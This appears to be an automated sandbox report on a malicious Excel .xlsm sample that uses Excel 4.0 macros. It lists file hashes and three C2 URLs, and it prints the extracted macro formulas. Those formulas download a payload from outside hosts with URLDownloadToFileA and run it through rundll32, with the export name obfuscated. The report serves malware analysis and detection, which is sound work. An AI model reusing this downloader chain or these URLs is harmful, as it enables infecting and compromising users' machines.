Overview

overview

10

Static

static

10

?i=1jiqlaygt.xlsm

windows7_x64

10

?i=1jiqlaygt.xlsm

windows10-2004_x64

10

Sharing

Copy URL Twitter E-mail

General

  • Target
    ?i=1jiqlaygt
  • Size 83KB
  • Sample220419-ez8llacadn
  • SHA256 2243ada22b4c83d5f5470d40be8a9a88035c7264ad4404dad0776975a93da710
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
macroxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

  • http://mail.emilyanncain.com/cgi-bin/A7NT3ENvn/

  • https://wordpress.baishuweb.com/wp-includes/10q0ice6/

  • http://monorailegypt.com/wp-admin/6uBf9CCfZRMh/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://mail.emilyanncain.com/cgi-bin/A7NT3ENvn/","..\erum.ocx",0,0) =IF('EWDFFEFAD'!E18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wordpress.baishuweb.com/wp-includes/10q0ice6/","..\erum.ocx",0,0)) =IF('EWDFFEFAD'!E20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://monorailegypt.com/wp-admin/6uBf9CCfZRMh/","..\erum.ocx",0,0)) =IF('EWDFFEFAD'!E22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\rundll32.exe ..\erum.ocx,D""&""l""&""lR""&""egister""&""Serve""&""r") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

    macroxlm

File Explorer

  • ?i=1jiqlaygt
    .xlsm 83KB

?i=1jiqlaygt

  • SHA256 2243ada22b4c83d5f5470d40be8a9a88035c7264ad4404dad0776975a93da710
  • MD5 SHA1 SHA512 SSDEEP
office2007

  • Suspicious Office macro

    Office document equipped with 4.0 macros.

    macroxlm